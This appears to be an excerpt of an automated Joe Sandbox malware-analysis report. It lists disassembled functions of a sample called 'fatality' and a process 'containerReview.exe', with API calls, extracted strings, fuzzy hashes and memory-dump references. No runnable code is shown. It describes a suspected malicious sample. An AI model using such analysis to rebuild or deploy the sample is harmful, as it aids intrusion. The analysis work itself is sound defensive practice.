Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: edc7b52944b821ae02021a162fdf6c067fc54fa595eb7ff0b9a8b373126b97bf
Instruction ID: 0f4ca17c0abbaea3d1210f8481a4234b2894c59b6f658ba31bf4d38b585c606c
Opcode Fuzzy Hash: edc7b52944b821ae02021a162fdf6c067fc54fa595eb7ff0b9a8b373126b97bf
Instruction Fuzzy Hash: F8F06D33008118BFCF225F61EC09DDA3F6AEB44760B11C005F61A6A0A2CB72D6A2D690

Function 00DFA663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00DFA666
GetDeviceCaps.GDI32(00000000,00000058), ref: 00DFA675
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00DFA683
ReleaseDC.USER32(00000000,00000000), ref: 00DFA691

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 53d86e12561fdf3f8f6f737c59f885ff07e49f6d14d3c5a949230826b24d857b
Instruction ID: 3322c7dec92ee66d1782f136e8b61a7b3dd6279e3c50edf774adf76bd4c99721
Opcode Fuzzy Hash: 53d86e12561fdf3f8f6f737c59f885ff07e49f6d14d3c5a949230826b24d857b
Instruction Fuzzy Hash: C5E0E635942721AFD3615B766D0DB8B3E54AB16B52F054301F605B5190DB64450A8BA1

Function 00E0B1B8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E0B324

Strings

., xrefs: 00E0B4DB
*?, xrefs: 00E0B1FB

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _free
String ID: *?$.
API String ID: 269201875-3972193922
Opcode ID: 9ea54cabc149a7bf8f0739983d84df0ad1cd527b12044001bb6944ddd1c94f41
Instruction ID: c54ab9f055ae1ae0ed3cac41ade5971608fedc4a2ec2f9c4c43848a112591c6d
Opcode Fuzzy Hash: 9ea54cabc149a7bf8f0739983d84df0ad1cd527b12044001bb6944ddd1c94f41
Instruction Fuzzy Hash: 98519D71E0020AAFDF14DFA8C881AADBBF5FF58314F245169E844F7391E7759A418B50

Function 00DF161C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 157COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00DF17BC

Strings

%ls, xrefs: 00DF1641, 00DF1657
%s: %s, xrefs: 00DF17CB

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: bad46e398743cecb53c1277b9fa68157014ff02d99359abef047137dfd92d08a
Instruction ID: f561d811f4b4c4436d1a403b2e8846b9d4230a00fca04d75bebd85114bf05857
Opcode Fuzzy Hash: bad46e398743cecb53c1277b9fa68157014ff02d99359abef047137dfd92d08a
Instruction Fuzzy Hash: DA41A93D28830CF6E6112A909E46F317665EB05B44F26C607F7DEB84E1D9A3D450BB3A

Function 00DE9382 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DE9387

Part of subcall function 00DEC29A: _wcslen.LIBCMT ref: 00DEC2A2

_swprintf.LIBCMT ref: 00DE9465

Strings

rtmp%d, xrefs: 00DE944E

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: H_prolog_swprintf_wcslen
String ID: rtmp%d
API String ID: 4240179315-3303766350
Opcode ID: b2b10d973c1b496973a23d55ab3df39a3df58aaacba80a0364173c9a12038129
Instruction ID: 8283f3f6fcc9a136969db0da76a98928b7d0ba522c1a0824c77958dd22021184
Opcode Fuzzy Hash: b2b10d973c1b496973a23d55ab3df39a3df58aaacba80a0364173c9a12038129
Instruction Fuzzy Hash: CE418871901299AACF21FB62CC55DEEB37CEF45340F0488A5B649E3051DB388B898B74

Function 00DEB37A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 00DEB438
_wcschr.LIBVCRUNTIME ref: 00DEB478

Strings

*, xrefs: 00DEB38A

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _wcschr
String ID: *
API String ID: 2691759472-163128923
Opcode ID: eea8a9dfbd7b31f8b35dba31094e2fd62e80c7046ba4a81ab6d92cf5b559ef3e
Instruction ID: 83ee1b764665099ddfc15e8a7c05f7ce9d527920fe39f4a0734c217efc5ce304
Opcode Fuzzy Hash: eea8a9dfbd7b31f8b35dba31094e2fd62e80c7046ba4a81ab6d92cf5b559ef3e
Instruction Fuzzy Hash: 553114221043819ADB30BA578942A7B73E8DF90B3CB18801FF9C8571C3E766BD819671

Function 00E031D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_abort.LIBCMT ref: 00E03306

Strings

RCC, xrefs: 00E03215
MOC, xrefs: 00E0320D

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _abort
String ID: MOC$RCC
API String ID: 1888311480-2084237596
Opcode ID: ff46e065b4db9065a0124c80e302aca17463e986f3d83de8e2d1e2e6caebe209
Instruction ID: ac2930d5eedceb0ea138c9b39d7941aead85ec9e06318b7cd22952a61f047ff2
Opcode Fuzzy Hash: ff46e065b4db9065a0124c80e302aca17463e986f3d83de8e2d1e2e6caebe209
Instruction Fuzzy Hash: 3D415871900209AFCF15DFA4CD81AEEBBB9FF48308F189059FA04762A5D735AA90DB50

Function 00DE7401 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00DE7406

Part of subcall function 00DE3BBA: __EH_prolog.LIBCMT ref: 00DE3BBF

Strings

SeRestorePrivilege, xrefs: 00DE7460
SeSecurityPrivilege, xrefs: 00DE744B

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: H_prolog
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3519838083-639343689
Opcode ID: d37526e7ea483aaf26e6ece986f1edc70717013b6aed07367137ecc229039f3c
Instruction ID: 9518dbae9049f63f3e8f0cc34c80a319e619924ae06486b17720cf2fa8e13550
Opcode Fuzzy Hash: d37526e7ea483aaf26e6ece986f1edc70717013b6aed07367137ecc229039f3c
Instruction Fuzzy Hash: 4931C371D04298AEDF51FBA6DC45FEE7BB9EB19304F084055F405B7182C7748A848771

Function 00DFB48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00DFB4E3
_wcslen.LIBCMT ref: 00DFB4FE

Strings

}, xrefs: 00DFB4D6

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: 929c96203e6a390aa30b55ea081c8520d3dcbce445f1575dab006a599c67cffc
Instruction ID: 891c000be67bacb16a09baa7ebe2c6052088e4487610dcf21a9ee6655ff053c3
Opcode Fuzzy Hash: 929c96203e6a390aa30b55ea081c8520d3dcbce445f1575dab006a599c67cffc
Instruction Fuzzy Hash: EF21D17290430E5AD731AA64D845E7AB3DCDF91764F0A442BF680D3241EB69D98883B2

Function 00DFDDA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

DialogBoxParamW.USER32(GETPASSWORD1,00010486,00DFB270,?,?), ref: 00DFDE18

Strings

xz, xrefs: 00DFDE28
GETPASSWORD1, xrefs: 00DFDE0D

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: DialogParam
String ID: GETPASSWORD1$xz
API String ID: 665744214-3234807970
Opcode ID: 439e65d6f826c1815e5d36a952172d32779a23873286aca4622dc00eb8694b46
Instruction ID: 41cffaec4206c60176fa565e7adb18d09156188d11802f1c38269f56a3063ab7
Opcode Fuzzy Hash: 439e65d6f826c1815e5d36a952172d32779a23873286aca4622dc00eb8694b46
Instruction Fuzzy Hash: A0110F72600258AFDB21EB35EC01BFF3796A755750F158065BE45BB080C6B49D89C774

Function 00DE1316 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00DEE2E8: _swprintf.LIBCMT ref: 00DEE30E
Part of subcall function 00DEE2E8: _strlen.LIBCMT ref: 00DEE32F
Part of subcall function 00DEE2E8: SetDlgItemTextW.USER32(?,00E1E274,?), ref: 00DEE38F
Part of subcall function 00DEE2E8: GetWindowRect.USER32(?,?), ref: 00DEE3C9
Part of subcall function 00DEE2E8: GetClientRect.USER32(?,?), ref: 00DEE3D5

GetDlgItem.USER32(00000000,00003021), ref: 00DE135A
SetWindowTextW.USER32(00000000,00E135F4), ref: 00DE1370

Strings

0, xrefs: 00DE1319

Memory Dump Source

Source File: 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2055350579.0000000000DE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055375618.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055535884.0000000000E52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000F9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.0000000000FBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055561200.00000000010C3000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_fatality.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 73e69a6fb673cab2601ff750b2f98f05ed9f81b2baff755a608771bd7b1c52aa
Instruction ID: 3f356b9934b464f9e2802fe608a99d1828f8dda310a80dfab2a21b3825bcf27f
Opcode Fuzzy Hash: 73e69a6fb673cab2601ff750b2f98f05ed9f81b2baff755a608771bd7b1c52aa
Instruction Fuzzy Hash: 43F0AF782043C8ABDF152FA28C0EBEA3B59AF41344F088314FD84609E1CB74CA95EA30

Analysis Process: containerReview.exePID: 6536, Parent PID: 6204COMMON

Executed Functions

Function 00007FF849268A9F Relevance: 3.2, Strings: 2, Instructions: 736COMMON

Download Yara Rule

Strings

P?#I, xrefs: 00007FF849268F69
0?#I, xrefs: 00007FF849268FC9

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849260000_containerReview.jbxd

Similarity

API ID:
String ID: 0?#I$P?#I
API String ID: 0-587548566
Opcode ID: 6e0ba0285b2759e9fe148221c35ad1e459b7efca206296b0a31aa0d496243b7d
Instruction ID: a7d602c208b40507cf1aa9bbdf646a10e5d8a4e9c89e07369805a580690883f0
Opcode Fuzzy Hash: 6e0ba0285b2759e9fe148221c35ad1e459b7efca206296b0a31aa0d496243b7d
Instruction Fuzzy Hash: D552BE3091C6A98FEB6CEF18C4A46B977B1FF58341F5041BED45AC7686CB38A981CB40

Function 00007FF848E60D7C Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2240764972.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23e3f09a390b40f4a8c5302570c6e6292daf8c93675bf964fa6285e4f8b4330f
Instruction ID: 0dbbfdf06fc3ee5a7f56c492d128c4804bd4f3df7ce4f8586424440036ff5f9e
Opcode Fuzzy Hash: 23e3f09a390b40f4a8c5302570c6e6292daf8c93675bf964fa6285e4f8b4330f
Instruction Fuzzy Hash: 9991B375D1CA998FE789EB78C8293A97FE1FB96350F4400BAC049E72D2DB781805C711

Function 00007FF849268828 Relevance: 5.2, Strings: 4, Instructions: 162COMMON

Download Yara Rule

Strings

x9#I, xrefs: 00007FF849268829
x9#I, xrefs: 00007FF8492688BD
, xrefs: 00007FF8492688A2
MH, xrefs: 00007FF8492689D7

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849260000_containerReview.jbxd

Similarity

API ID:
String ID: $ MH$x9#I$x9#I
API String ID: 0-1480317629
Opcode ID: 9055fc81a4cee6d87314ecb50673e76f9e635c2a272764e33f2685b77c9e82f8
Instruction ID: 890073beff5b6dc531a58dd00ffe50872d575db0624a3f2b782154ccaa0cd0c4
Opcode Fuzzy Hash: 9055fc81a4cee6d87314ecb50673e76f9e635c2a272764e33f2685b77c9e82f8
Instruction Fuzzy Hash: 82515731D0C69E9FEB69EFA8D8515BDB7B1FF44341F1440BAC01AA7682CA382901CB50

Function 00007FF848E60B3F Relevance: 3.8, Strings: 3, Instructions: 54COMMON

Download Yara Rule

Strings

!k9, xrefs: 00007FF848E60B4E
c9, xrefs: 00007FF848E60B56
"s9, xrefs: 00007FF848E60B46

Memory Dump Source

Source File: 00000005.00000002.2240764972.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9
API String ID: 0-3426396564
Opcode ID: d2e26fa0ed65657ae63860e0153e178c88320430f77beff0b58864d7961f4ac1
Instruction ID: ea2171c56bb580886a4ffbd80badf8b0638c16910a09b71096214cd4efb4d34e
Opcode Fuzzy Hash: d2e26fa0ed65657ae63860e0153e178c88320430f77beff0b58864d7961f4ac1
Instruction Fuzzy Hash: FA01F22A31D95A8FC7026A3EB4905D87B50EAC6136BC905BBD544CB192E2102C9EC7E0

Function 00007FF849268E30 Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

P?#I, xrefs: 00007FF849268F69
0?#I, xrefs: 00007FF849268FC9

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849260000_containerReview.jbxd

Similarity

API ID:
String ID: 0?#I$P?#I
API String ID: 0-587548566
Opcode ID: c23f5c8e0348d7d05eab37bc1286ea0e7a8c5378209b93dcf0cc835504283be5
Instruction ID: a85c611555c558b3c150738229b2d449ad2855bf2a2c3acfa99f372aca8d8056
Opcode Fuzzy Hash: c23f5c8e0348d7d05eab37bc1286ea0e7a8c5378209b93dcf0cc835504283be5
Instruction Fuzzy Hash: 7C511530D1C9AA8FFBB8EB2884652B9B7A1FF54341F4441FAD05EC7586DE386D808B41

Function 00007FF84926D708 Relevance: 2.7, Strings: 2, Instructions: 159COMMON

Download Yara Rule

Strings

(fH, xrefs: 00007FF84926D8B7
, xrefs: 00007FF84926D782

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849260000_containerReview.jbxd

Similarity

API ID:
String ID: $(fH
API String ID: 0-861492242
Opcode ID: e9bb85664b3003ec4de44cb67bea5ac3da32a01408b171f3282a91d6b1d8fdb1
Instruction ID: 5af5e6cdc3698c4f5159f2f95adae76a56ba6ad620a549e7f78e8a26a71378e2
Opcode Fuzzy Hash: e9bb85664b3003ec4de44cb67bea5ac3da32a01408b171f3282a91d6b1d8fdb1
Instruction Fuzzy Hash: 4B515A30D0C69E9FEB69EFA8D8546BDBBB1FF54341F1041BAC01AE7682CA346905CB51

Function 00007FF849269AE1 Relevance: 1.7, Strings: 1, Instructions: 403COMMON

Download Yara Rule

Strings

(MH, xrefs: 00007FF849269E74

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849260000_containerReview.jbxd

Similarity

API ID:
String ID: (MH
API String ID: 0-2469153556
Opcode ID: 38e744b4adcb8fc465e203b6a994ce02a2b33bcda606a6c56a807a9c2c8e8f89
Instruction ID: 39e7e50bcdd258eaad4d7b9dc63bfe4bde3564f530ceda0d0ea1e43041b7f562
Opcode Fuzzy Hash: 38e744b4adcb8fc465e203b6a994ce02a2b33bcda606a6c56a807a9c2c8e8f89
Instruction Fuzzy Hash: 10D1F034A1DAA68FF378EF28D49057577E1FF44341B20497EC0AAC7A86DE29BC468741

Function 00007FF8492665AB Relevance: 1.5, Strings: 1, Instructions: 232COMMON

Download Yara Rule

Strings

.#I, xrefs: 00007FF8492665EE

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

